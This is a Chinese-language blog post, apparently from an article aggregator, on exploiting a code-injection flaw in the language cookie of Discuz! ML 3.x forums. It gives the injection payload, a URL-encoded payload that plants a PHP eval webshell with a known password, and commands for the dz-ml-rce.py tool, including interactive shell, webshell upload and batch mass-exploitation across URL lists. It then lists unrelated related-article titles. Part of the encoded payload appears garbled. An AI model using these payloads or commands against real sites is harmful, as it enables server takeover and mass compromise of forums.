discuz!ml-3.x版本getshell
影响范围:
discuz! ml v3.x全版本。
产生原因
漏洞原因:Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。
利用exp
1.cookie字段中会出现xxxx_xxxx_language字段,根本原因就是这个字段存在注入,导致的RCE
2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload:
'.+file_put_contents('shell.php',urldecode('')).'
进行url编码:%.%2Bfile_put_contents%%27shell.php%%2Curldecode%%%253C%253Fphp%2520eval%%2524_POST%255B%%%255D%%253B%253F%253E%%%.%
即可在路径下生成shell.php,连接密码为1
利用工具
工具名叫:dz-ml-rce.py ,是用py2写的,可以在github上下载。
断是否存在漏洞:
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
获取交互式shell:
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
上传一句话木马getshell:
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
连接密码为“x”
批量检测:
python dz-ml-rce.py -f urls.txt
批量上马getshell:
python dz-ml-rce.py -f urls.txt --getshell
本地复现:
搭建好一个discuz!ml 版本的环境,我搭的是3.3版本的,下载源码后直接一键式建站,建完后访问主页:http://127.0.0.1/discuz!ml3.3/upload/forum.php
然后用工具测试:

发现存在此漏洞,那么直接获取个shell回来:

此工具针对此漏洞还蛮好用的。
discuz!ml-3.x版本getshell的更多相关文章
- Discuz! ML RCE漏洞 getshell 复现
0x01 影响版本 Discuz! ML V3.2 Discuz! ML V3.3 Discuz! ML V3.4 0x02 环境搭建 直接官网下载即可http://discuz.ml/downloa ...
- Discuz! ML远程代码执行(CVE-2019-13956)
Discuz! ML远程代码执行(CVE-2019-13956) 一.漏洞描述 该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行 ...
- Discuz ML RCE漏洞
1.漏洞描述 Discuz国际版漏洞存在于cookie的language可控并且没有严格过滤,导致可以远程代码执行. 2.产生原因:Discuz!ML 系统对cookie中的l接收的language参 ...
- Discuz ML! V3.X 代码注入漏洞
Discuz ML! V3.X 代码注入漏洞 前言 Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像"社交网络"这样的互 ...
- 网站漏洞修复案例之Discuz!3.4最新版本
Discuz!论坛目前最新版本为3.4版本,已经好久没有更新了,我们SINE安全在对其网站安全检测的同时发现一处漏洞,该漏洞可导致论坛的后台文件可以任意的删除,导致网站瘫痪,后台无法登陆.关于该网站漏 ...
- 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞
0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...
- Web指纹识别目的Discuz识别+粗糙的版本演绎
这个识别程序是本学期在我的职业培训项目.它是做一类似至Zoomeye怪东西,然后使用ES集成,为了让搜索引擎寻找.因此,我们必须首先去网上识别相应的能力Web包裹,如果用户输入的关键词:Discuz ...
- Discuz利用UC_KEY进行前台getshell
来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html 先通过uc_key把恶意代码保存在/uc_client/data/ca ...
- discuz 6.1.0F前台getshell(据说通用6.x , 7.x)
EXP: 执行phpinfo()语句: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replac ...
随机推荐
- 位运算在状态压缩DP中的应用
一.判断一个数字X的i位是不是1 方法: << (i-)) & x > ) 原理: 1左移(i-1)位,相当于制造了一个就i位上是1其他位都是0的一个二进制数.将这个数 ...
- Spring Cloud第十三篇 | Spring Boot Admin服务监控
本文是Spring Cloud专栏的第十三篇文章,了解前十二篇文章内容有助于更好的理解本文: Spring Cloud第一篇 | Spring Cloud前言及其常用组件介绍概览 Spring Clo ...
- kubernetes中node心跳处理逻辑分析
最近在查看一个kubernetes集群中node not ready的奇怪现象,顺便阅读了一下kubernetes kube-controller-manager中管理node健康状态的组件node ...
- 用tensorflow搭建RNN(LSTM)进行MNIST 手写数字辨识
用tensorflow搭建RNN(LSTM)进行MNIST 手写数字辨识 循环神经网络RNN相比传统的神经网络在处理序列化数据时更有优势,因为RNN能够将加入上(下)文信息进行考虑.一个简单的RNN如 ...
- CCF_201512-1_数位之和
水. #include<iostream> #include<cstdio> using namespace std; int main() { ; cin >> ...
- SpringBoot Jpa 自定义查询
SpringBoot Jpa 自定义查询 持久层Domain public interface BaomingDao extends JpaRepository<BaomingBean,Inte ...
- 程序员过关斩将--redis做消息队列,香吗?
Redis消息队列 在程序员这个圈子打拼了太多年,见过太多的程序员使用redis,其中一部分喜欢把redis做缓存(cache)使用,其中最典型的当属存储用户session,除此之外,把redis作为 ...
- [Effective Java 读书笔记] 第三章类和接口 第二十三-- ??条
第二十三条 请不要再新代码中使用原生态类型 1 使用原生态类型,就失去了泛型在安全性和表述性方面的所有优势,所以新代码中不要使用原生态类型 2 List<String>可以传递给List作 ...
- java sql语句 like%?%报错的问题
在数据库中不会报错,但用java调用时确保错. SQL语句: SELECT pageId,`name`,text FROM Page WHERE `name` LIKE CONCAT('%',?,'% ...
- k8s 开船记-全站登船:Powered by .NET Core on Kubernetes
今天 18:30 左右,我们迈出了 kubernetes 航行的关键一步——全站登船,完成了全站应用从 docker swarm 集群向 k8s 集群的切换,以前所未有的决心与信心重新开起这艘巨轮,而 ...